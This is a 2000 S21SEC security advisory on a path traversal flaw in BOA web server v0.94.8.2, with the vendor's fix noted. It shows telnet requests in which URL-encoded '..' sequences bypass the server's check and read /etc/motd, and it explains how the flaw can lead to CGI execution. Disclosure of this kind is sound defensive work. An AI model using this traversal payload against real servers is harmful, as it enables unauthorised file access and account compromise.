`############################################################### ID: S21SEC-005-en Title: Vulnerability in BOA web server v0.94.8.2 Date: 03/10/2000 Status: Vendor contacted, patch available Scope: Arbitrary file access Platforms: Unix Author: llmora Location: http://www.s21sec.com/en/avisos/s21sec-005-en.txt Release: Public ############################################################### S 2 1 S E C http://www.s21sec.com Vulnerability in BOA web server v0.94.8.2 There is a security bug in BOA v0.94.8.2 that allows a malicious user to access files outside the document root of the web server as the user the server runs as. About BOA --------- Boa is an open source high performance web server for Unix-alike computers (http://www.boa.org). It does file serving and dynamic content generation via CGI. Vulnerability description ------------------------- - Reading any file in the web server The boa web server suffers of the well-known "../.." web server problem. If we request a document from the web server, using the "../.." technique, we get: homer:~$ telnet ilf 80 Escape character is '^]'. GET /../../../../../../../../../../../etc/motd HTTP/1.0 HTTP/1.0 404 Not Found 404 Not Found

404 Not Found

The requested URL /etc/motd was not found on this server. Connection closed by foreign host. homer:~$ So apparently it doesn't work, as boa checks for "/.." in the path. By URL-encoding the "." in the request, we are able to skip the ".." test, allowing us to access the contents of any file the user running the web server has access to: homer:~$ telnet ilf 80 GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2 E/etc/motd HTTP/1.0 HTTP/1.0 200 OK [... the /etc/motd file content is shown] Connection closed by foreign host. homer:~$ If the administrator enables extension based CGI support with a line like this in the boa.conf file: AddType application/x-httpd-cgi cgi then a request for a file ending in .cgi will result in the file being executed with the privileges of the user id running the web server. This file can be placed in any folder throughout the file system, not strictly under the DocumentRoot, and be accessed using the previous bug, leading to the web server account compromise. Affected versions ----------------- This bug has been tested and verified to be present in v0.94.8.2 of the boa web server. Version 0.92 of boa is not affected by this problem. Fix information --------------- The boa development team has released v0.94.8.3 which fixes this vulnerability. Upgrades are available at the vendor website (http://www.boa.org). S21SEC wishes to thank the boa development team for acknowledging the issue and releasing a security patch in a matter of hours. Additional information ---------------------- This vulnerability was found and researched by: Lluis Mora llmora@s21sec.com You can find the latest version of this advisory at: http://www.s21sec.com/en/avisos/s21sec-005-en.txt And other S21SEC advisories at http://www.s21sec.com/en/avisos/ `

Query Builder